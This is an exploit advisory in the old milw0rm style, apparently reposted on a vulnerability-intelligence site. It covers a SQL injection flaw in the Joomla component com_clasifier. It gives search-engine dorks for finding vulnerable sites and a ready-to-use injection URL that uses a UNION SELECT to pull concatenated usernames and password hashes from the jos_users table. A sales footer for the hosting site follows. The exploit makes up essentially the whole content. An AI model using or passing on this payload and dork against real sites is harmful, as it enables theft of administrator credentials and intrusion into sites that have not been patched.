joomla SQL Injection in com_clasifier, exploit concatenates username and password from jos_user
`###############################################################
#
# joomla SQL Injection(com_clasifier)
#
###############################################################
#
# AUTHOR : S@BUN
#
HOME 1 : http://www.milw0rm.com/author/1334
#
# MAİL : [email protected]
#
################################################################
#
# DORK 1 : allinurl: com_clasifier
#
# DORK 2 : allinurl: com_clasifier cat_id
#
################################################################
EXPLOIT :
index.php?option=com_clasifier&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
################################################################
# S@BUN i AM NOT HACKER S@BUN
################################################################
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo